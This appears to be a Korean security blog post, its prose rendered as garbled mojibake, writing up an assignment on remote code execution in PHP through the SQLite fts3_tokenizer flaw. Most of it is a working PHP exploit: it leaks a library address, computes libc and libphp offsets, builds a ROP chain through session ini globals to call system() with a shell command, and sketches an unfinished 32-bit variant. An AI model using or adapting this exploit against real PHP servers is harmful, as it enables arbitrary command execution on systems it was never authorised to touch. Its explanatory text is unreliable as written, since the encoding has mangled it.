๊ณผ์ 2 64bit Remote Code Execution
๋ฉํ ๋์ด ์ฃผ์ 64bit exploit code์์ ๊ฐ์ ฏ์ ๋ฐ๊พธ์ด ์๋ํด๋ณด์๋ค.
fts3_tokenizer ์ทจ์ฝ์ ์ ์ด์ฉํ ๊ฒ์ผ๋ก ์๋ก์ด tokenizer๋ฅผ ๋ฑ๋กํ ๋, ๋ ๊ฐ์ง ์ทจ์ฝ์ ์ ์ด์ฉํ์๋ค. ์ฒซ ๋ฒ์งธ๋ก ๋ฑ๋ก๋ tokenizer์ ์ฃผ์๋ฅผ ์ฟผ๋ฆฌํ๋ฉด ์ฃผ์๊ฐ ์ ์ถ๋๋ค๋ ์ ๊ณผ
<?php
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
?>
๋ ๋ฒ์งธ๋ก, ์ธ์๋ฅผ 2๊ฐ ์ด์ ์ ๋ฌํ์ ๋, ๋ ๋ฒ์งธ ์ธ์๊ฐ์ ์ํ๋ ์ฃผ์๋ก ๋ฃ์ด๋ฒ๋ฆด ๋ ์ ์ ํ ๊ฒ์ฆ์์ด ์ฃผ์๊ฐ ๋ฐ๋์ด๋ฒ๋ฆฐ๋ค๋ ์ ์ ์ด์ฉํ์๋ค.
<?php
$db->exec("
select fts3_tokenizer('simple', x'$bomb');
create virtual table a using fts3(tokenize=simple);"
);
?>
๊ฐ์ ฏ์ ์กฐ์๊ฐ๋ฅํ ์คํธ๋ง์ ๋ฃ์ ์ฃผ์์ 8๋ฐ์ดํธ ๋ฐ์ดํฐ๋ฅผ ์ฌ๋ฌ ๊ฐ ์ฌ์ฉํ๊ธฐ ์ํด php์ ๋ด์ฅ๋์ด ์๋ ๊ธ๋ก๋ฒ ๋ณ์ php_gs_globals structure ๋ฅผ ์ด์ฉํ์๋ค.
64bit system์์ 8๋ฐ์ดํธ ๋ฐ์ดํฐ๋ก long ๊ณผ char * ์ธ ๋ณ์๋ฅผ ์ฌ์ฉํ์๋ค.
[ ์ฃผ์ ์ฐพ๊ธฐ ]
๊ทธ ๋ค์ ์ฌ์ฉํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฒ ์ด์ค ์ฃผ์์ ๋ณ์๋ค์ ์ฃผ์๋ฅผ ์ค์ต๊ณผ ๊ฐ์ด ์งํํ์ฌ ๊ตฌํ์๋ค.
shell cat /proc/self/maps | grep "libphp"
[ ๊ฐ์ ฏ ์ฐพ๊ธฐ ]
ROPgadget์ ์ค์นํ ํ
python3 [ROPgadget.py](<http://ROPgadget.py>) -binary [๋ฐ์ด๋๋ฆฌํ์ผ๋ช ] | grep "leave ; ret"
๋ฑ์ผ๋ก ์ํ๋ ๊ฐ์ ฏ์ ๊ตฌํ์๋ค.
[ ์คํ์ ์ฐพ๊ธฐ ]
leave; ret; ์ผ๋ก ๋ด๊ฐ ์ํ๋ ํจ์๋ฅผ ์ฌ์ฉํ๊ณ , rdx์ command string ์ฃผ์, ๊ทธ ๋ค์ call r12๋ฅผ ํตํด r12์ system ํจ์๋ฅผ ์คํํ๋๋ก ํ์๋ค.
- leave; ret; // stack pivoting
- pop rbx; ret // command string ์ฃผ์ (libsqlite)
- pop r12; ret // system function ์ฃผ์ (libsqlite)
- mov rdi, [rbx+0x18]; call r12 // call system (libsqlite)
<?php
ob_end_flush();
flush();
ob_flush();
ob_start();
echo getmypid();
echo str_repeat(" ",0x1212);
ob_end_flush();
flush();
ob_flush();
ob_start();
function flip($val) {
$len = strlen($val);
$result = '';
for ($i = $len; $i > 2; $i-=2) {
$result .= substr($val, $i - 2, 2);
}
$result .= substr($val, 0, $i);
$result .= str_repeat('0', 16 - $len);
return $result;
}
function pk($in, $pad_to_bits=64, $little_endian=true) {
$in = decbin($in);
$in = str_pad($in, $pad_to_bits, '0', STR_PAD_LEFT);
$out = '';
for ($i = 0, $len = strlen($in); $i < $len; $i += 8) {
$out .= chr(bindec(substr($in,$i,8)));
}
if($little_endian) $out = strrev($out);
return $out;
}
################## sqlite leak ์ทจ์ฝ์ ์ผ๋ก ์ฃผ์ ๊ตฌํ๊ธฐ ################
$db = new SQLite3(":memory:");
$row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray();
$leaked_addr = $row['addr'];
$db->close();
//sleep(10);
################## /proc/self/maps ์ฝ์ด์ offset ๊ตฌํ๊ธฐ ################
//:::7f016a473260:::
$addr = hexdec(flip($leaked_addr));
$libsqlite3_base = $addr - 0x28B260;
$libphp_base = $libsqlite3_base + 0xD490000;
$libc_base = $libphp_base + 0xBAB000;
$init = $addr - 0x2830a8;
$system = $libc_base + 0x3A36D0; // (gdb) p system
//php global๋ณ์ ์ด์ฉ
$gc_probability = $libphp_base + 0x59ABF0;
$entropy_length = $gc_probability - (8 * 10);
$cookie_path = $entropy_length + (8 * 2);
################################################################
ob_end_flush();
flush();
ob_flush();
ob_start();
echo "\\n:::".dechex($addr).":::\\n";
echo ":::libsqlite3_base ".dechex($libsqlite3_base).":::\\n";
echo ":::libphp_base ".dechex($libphp_base).":::\\n";
echo ":::init ".dechex($init).":::\\n";
echo ":::libc_base ".dechex($libc_base).":::\\n";
echo ":::gc_probability ".dechex($gc_probability).":::\\n";
echo ":::entropy_length ".dechex($entropy_length).":::\\n";
echo ":::system ".dechex($system).":::\\n";
echo str_repeat(" ",0x1212);
ob_end_flush();
flush();
ob_flush();
ob_start();
$lr = $libsqlite3_base+0x8b75;
$payload="";
$payload .= pk(0xdeaddeaddeaddead);
$payload .= pk($libsqlite3_base+0x8eca); //pop rbx; ret
$payload .= pk($cookie_path-0x18);
$payload .= pk($libsqlite3_base+0x9cb5); //pop r12; ret
$payload .= pk($system);
$payload .= pk($libsqlite3_base+0x23b5d); //mov rdi, [rbx+0x18]; call r12
ini_set("session.cache_limiter", $payload); //payload ๋ฃ์ ๊ณต๊ฐ
ini_set("session.entropy_length", $lr); //๊ณต๊ฒฉ ์์ ๊ตฌ๊ฐ
ini_set("session.cookie_path", "ps auxf > /tmp/ch3rry_64"); //string ๋ฃ์ ๊ณต๊ฐ
$db = new SQLite3(":memory:");
$bomb = flip(dechex($entropy_length-8));
$db->exec("
select fts3_tokenizer('simple', x'$bomb');
create virtual table a using fts3(tokenize=simple);"
);
?>
[ ๊ณต๊ฒฉ ๊ฒฐ๊ณผ ]
ch3rry_64 ํ์ผ์ ps auxf ๋ช ๋ น์ ์ํํ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์๋ค.
๊ณผ์ 3 32bit Remote Code Execution
์ฒ์ ์ ๊ทผ์ ์๋ํ ๋, php global ๋ณ์์ค์ ๋ด๊ฐ ์ด์ฉํ ์ ์๋ ๊ฐ๊ณผ,
sqlite3_tokenizer_module ์ ์๋ xCreate, xDestroy, xOpen๋ฑ์ ์ ์ ํ ์ด์ฉํด์ ์ต์ค๋ฅผ ํด๋ณด๋ฉด ์ด๋จ๊น? ๊ณ ๋ฏผํด๋ณด์๋ค.
์ฐ์ , module์ global ๋ณ์๋ฅผ ์ด์ฉํด์ ์ฌ์ ์ํ๊ณ , xOpen ํจ์๋ฅผ ์ด์ฉํ์ฌ ์๋์ ๊ฐ์ด ๋ด๊ฐ ์ํ๋ command string์ ์ด์ฉํ๊ณ ์ ํ์์ง๋ง ์ต์ค ์ฝ๋๊น์ง๋ ๊ตฌํํ์ง ๋ชปํ๋ค..
typedef struct _php_ps_globals {
'''
char *cache_limiter; // ํ์ด๋ก๋ ๊ณต๊ฐ
long entropy_length; // ๊ณต๊ฒฉ ์์ , 8๋ฐ์ดํธ
long cookie_lifetime; // X , 8๋ฐ์ดํธ
char *cookie_path; // string ๋ฃ์ ๊ณต๊ฐ, 8๋ฐ์ดํธ
char *cookie_domain; // 8๋ฐ์ดํธ
zend_bool cookie_secure; //1๋ฐ์ดํธ
zend_bool cookie_httponly; //1๋ฐ์ดํธ
ps_module *mod; // 1๋ฐ์ดํธ
ps_module *default_mod; //1๋ฐ์ดํธ
void *mod_data;
'''
}
$db = new SQLite3(":memory:");
$bomb=flip(dechex($entropy_length+28));
$db->exec("
select fts3_tokenizer('simple',x'$bomb');
create virtual table a using fts3(tokenize=simple);
insert into a values('ps auxf > /tmp/ch3rry_32')
");
'Security' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๊ณผ์ ์ ๋ฆฌ] Windows Driver ์ทจ์ฝ์ (0) | 2023.03.17 |
---|---|
[๊ณผ์ ์ ๋ฆฌ] SSL library hooking (0) | 2023.03.17 |
[๊ณผ์ ์ ๋ฆฌ] CARVING ํ์จ์ด ์ถ์ถ (0) | 2023.03.17 |
[MC++๋ฆฌํฌํธ] (0) | 2023.03.17 |
[RSA] code (0) | 2023.03.17 |